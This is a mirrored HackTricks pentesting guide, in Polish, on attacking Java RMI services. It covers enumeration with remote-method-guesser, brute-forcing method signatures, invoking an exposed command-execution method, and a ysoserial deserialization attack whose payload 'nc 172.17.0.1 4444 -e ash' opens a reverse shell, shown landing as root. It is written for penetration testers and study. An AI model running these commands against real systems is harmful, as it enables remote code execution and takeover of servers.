Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

338 lines
19 KiB
Markdown
Raw Blame History

# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Podstawowe informacje
_Java Remote Method Invocation_, czyli _Java RMI_, to obiektowy mechanizm _RPC_, który pozwala obiektowi znajdującemu się w jednej _maszynie wirtualnej Java_ na wywoływanie metod obiektu znajdującego się w innej _maszynie wirtualnej Java_. Umożliwia to programistom pisanie rozproszonych aplikacji przy użyciu paradygmatu obiektowego. Krótkie wprowadzenie do _Java RMI_ z ofensywnej perspektywy można znaleźć w [tej prezentacji blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
**Domyślny port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Zazwyczaj tylko domyślne komponenty _Java RMI_ ( _RMI Registry_ i _Activation System_ ) są powiązane z powszechnymi portami. _Obiekty zdalne_ implementujące rzeczywistą aplikację _RMI_ są zazwyczaj powiązane z losowymi portami, jak pokazano w powyższym wyniku.
_nmap_ czasami ma problemy z identyfikacją chronionych _SSL_ usług _RMI_. Jeśli napotkasz nieznaną usługę ssl na powszechnym porcie _RMI_, powinieneś przeprowadzić dalsze dochodzenie.
## Komponenty RMI
Mówiąc prosto, _Java RMI_ pozwala deweloperowi udostępnić _obiekt Java_ w sieci. Otwiera to port _TCP_, na którym klienci mogą się łączyć i wywoływać metody na odpowiednim obiekcie. Mimo że brzmi to prosto, istnieje kilka wyzwań, które _Java RMI_ musi rozwiązać:
1. Aby przekazać wywołanie metody za pomocą _Java RMI_, klienci muszą znać adres IP, port nasłuchujący, zaimplementowaną klasę lub interfejs oraz `ObjID` docelowego obiektu ( `ObjID` to unikalny i losowy identyfikator, który jest tworzony, gdy obiekt jest udostępniany w sieci. Jest wymagany, ponieważ _Java RMI_ pozwala wielu obiektom nasłuchiwać na tym samym porcie _TCP_ ).
2. Zdalni klienci mogą alokować zasoby na serwerze, wywołując metody na udostępnionym obiekcie. _Wirtualna maszyna Java_ musi śledzić, które z tych zasobów są nadal używane, a które mogą być zbierane przez garbage collector.
Pierwsze wyzwanie jest rozwiązywane przez _RMI registry_, które jest zasadniczo usługą nazewniczą dla _Java RMI_. _RMI registry_ sam w sobie jest również usługą _RMI_, ale zaimplementowany interfejs i `ObjID` są stałe i znane wszystkim klientom _RMI_. Umożliwia to klientom _RMI_ korzystanie z _RMI registry_ tylko poprzez znajomość odpowiedniego portu _TCP_.
Gdy deweloperzy chcą udostępnić swoje _obiekty Java_ w sieci, zazwyczaj wiążą je z _RMI registry_. _Registry_ przechowuje wszystkie informacje potrzebne do połączenia z obiektem (adres IP, port nasłuchujący, zaimplementowana klasa lub interfejs oraz wartość `ObjID`) i udostępnia je pod nazwą czytelną dla ludzi ( _bound name_ ). Klienci, którzy chcą korzystać z usługi _RMI_, pytają _RMI registry_ o odpowiednią _bound name_, a rejestr zwraca wszystkie wymagane informacje do połączenia. Tak więc sytuacja jest zasadniczo taka sama jak w przypadku zwykłej usługi _DNS_. Poniższy listing pokazuje mały przykład:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
Drugi z wymienionych powyżej problemów jest rozwiązywany przez _Distributed Garbage Collector_ (_DGC_). Jest to kolejna _usługa RMI_ z dobrze znaną wartością `ObjID` i jest dostępna praktycznie na każdym _punkcie końcowym RMI_. Kiedy _klient RMI_ zaczyna korzystać z _usługi RMI_, wysyła informację do _DGC_, że odpowiadający _obiekt zdalny_ jest w użyciu. _DGC_ może wtedy śledzić liczbę referencji i jest w stanie oczyścić nieużywane obiekty.
Razem z przestarzałym _Activation System_, są to trzy domyślne komponenty _Java RMI_:
1. _RMI Registry_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`)
Domyślne komponenty _Java RMI_ są znanymi wektorami ataku od dłuższego czasu i istnieje wiele luk w przestarzałych wersjach _Java_. Z perspektywy atakującego, te domyślne komponenty są interesujące, ponieważ implementują znane klasy / interfejsy i łatwo można z nimi interagować. Sytuacja jest inna w przypadku niestandardowych _usług RMI_. Aby wywołać metodę na _obiekcie zdalnym_, musisz znać odpowiadający podpis metody z wyprzedzeniem. Bez znajomości istniejącego podpisu metody, nie ma możliwości komunikacji z _usługą RMI_.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) to skaner luk _Java RMI_, który jest w stanie automatycznie identyfikować powszechne _luki RMI_. Kiedy zidentyfikujesz _punkt końcowy RMI_, powinieneś spróbować:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Wynik akcji enumeracji jest opisany bardziej szczegółowo na [stronach dokumentacji](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projektu. W zależności od wyniku, powinieneś spróbować zweryfikować zidentyfikowane luki.
Wartości `ObjID` wyświetlane przez _remote-method-guesser_ mogą być używane do określenia czasu działania usługi. Może to pozwolić na zidentyfikowanie innych luk:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Bruteforcing Remote Methods
Nawet gdy podczas enumeracji nie zidentyfikowano żadnych luk, dostępne _RMI_ usługi mogą nadal ujawniać niebezpieczne funkcje. Ponadto, mimo że komunikacja _RMI_ z domyślnymi komponentami _RMI_ jest chroniona przez filtry deserializacji, w przypadku rozmowy z niestandardowymi usługami _RMI_ takie filtry zazwyczaj nie są stosowane. Znajomość ważnych sygnatur metod w usługach _RMI_ jest zatem cenna.
Niestety, _Java RMI_ nie obsługuje enumeracji metod na _obiektach zdalnych_. Mimo to, możliwe jest bruteforcing sygnatur metod za pomocą narzędzi takich jak [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) lub [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Zidentyfikowane metody można wywołać w ten sposób:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
Lub możesz przeprowadzić ataki deserializacji w ten sposób:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Więcej informacji można znaleźć w tych artykułach:
* [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
Oprócz zgadywania, powinieneś również poszukać w wyszukiwarkach lub _GitHub_ interfejsu lub nawet implementacji napotkanego _RMI_ serwisu. _Bound name_ oraz nazwa zaimplementowanej klasy lub interfejsu mogą być tutaj pomocne.
## Znane interfejsy
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) oznacza klasy lub interfejsy jako `known`, jeśli są wymienione w wewnętrznej bazie danych narzędzia znanych _RMI services_. W tych przypadkach możesz użyć akcji `known`, aby uzyskać więcej informacji na temat odpowiadającego _RMI service_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
```
## Shodan
* `port:1099 java`
## Tools
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://github.com/BishopFox/rmiscout)
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## References
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Automatyczne Komendy
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
Reference in a new issue View git blame Copy permalink